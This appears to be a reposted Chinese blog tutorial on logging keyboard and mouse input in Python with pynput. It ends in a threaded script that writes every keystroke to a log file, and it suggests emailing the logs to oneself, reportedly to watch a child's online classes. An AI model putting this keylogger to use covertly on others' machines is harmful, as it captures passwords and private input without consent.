鍵盤及鼠標記錄程序 - Python


這里主要是記錄一個庫-pynput。 並不是教做壞事。使用Python的庫對鼠標和鍵盤進行記錄,pygame也可以記錄,但是對於主需腰針對鍵盤和鼠標進行記錄,就很笨重。

首先對鍵盤進行記錄:

"""
    python對鍵盤進行監控
"""

from pynput import keyboard

def on_press(key): # 鍵盤上的鍵被按下
    print(f'{key} : 被按下了!')

def on_release(key): # 鍵盤上的鍵被松開
    # print(f'{key} : 被松開了!')

    # 結束程序的按鍵
    if key == keyboard.Key.esc: # 如果按下esc鍵,我們結束記錄
        return False

with keyboard.Listener(on_press=on_press, on_release=on_release) as listner:
    listner.join()

  

程序運行后的截圖:

 其次是對鼠標進行記錄:

from pynput import mouse
 
def on_click(x, y, button, pressed):
    # 左鍵
    if button == mouse.Button.left:
        print('左鍵被點擊了!') # 會被打印兩次,按下和彈起都會各打印一次
    # 右鍵
    elif button == mouse.Button.right:
        print('郵件被點擊了!') # 原則上講只是打印按下
        return False # 這里才是彈起
    # 鼠標中鍵
    else:
        print('鼠標中鍵被點擊了!') # 只是按下
        return False # 彈起
# 檢測事件
with mouse.Listener(on_click=on_click) as listener:
    listener.join()

 

程序運行后截圖如下:

 

運行程序發現,每次點擊左鍵都會在終端上被打印兩次。是因為鼠標左鍵按下和彈起均被打印了。

還有就是記錄了之后,可以做成日志,然后利用郵件發送到我們的郵箱里(我一般是記錄小朋友上網課的情況)。

from pynput import keyboard,mouse # 鼠標鍵盤
from loguru import logger # 日志
from threading import Thread # 多線程

#  首先打開日志文件
logger.add('20211027.log') # 我一般以時間定義

# 鍵盤事件
def on_press(key):
    logger.debug(f'{key} : 被敲擊了!')

def on_release(key):
    # print(f'{key} : 被釋放了!')
    # 如果敲擊了esc鍵,就退出
    if key == keyboard.Key.esc:
        return False

# 鼠標事件
def on_click(x, y, button, pressed):
    # 鼠標左鍵
    if button == mouse.Button.left:
        logger.debug('鼠標左鍵被敲擊了!')
    elif button == mouse.Button.right:
        logger.debug('鼠標右鍵被敲擊了!')
        return False
    else:
        logger.debug('鼠標中鍵被敲擊了!')

# 開啟第一個線程用於記錄鍵盤操作
def threadFirst():
    with keyboard.Listener(on_press=on_press, on_release=on_release) as lsn:
        lsn.join()

# 開啟第二個線程用於記錄鼠標操作
def threadSecond():
    with mouse.Listener(on_click=on_click) as listner:
        listner.join()

if __name__ == "__main__":
    # 啟動兩個線程
    t1 = Thread(target=threadFirst)
    t2 = Thread(target=threadSecond)
    t1.start() # 啟動第一個線程
    t2.start() # 啟動第二個線程

  

日志文件會被保存在當前文件夾下。經過上述處理,所有的鍵盤和鼠標記錄都會被記錄在日志文件里,后面只需要經過NLTK還原一下場景就行了。

再次申明:此程序會占用cpu大量的資源,別拿去做壞事。有常識的人在自己電腦被占用大量cpu資源的時候肯定知道電腦有異常!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM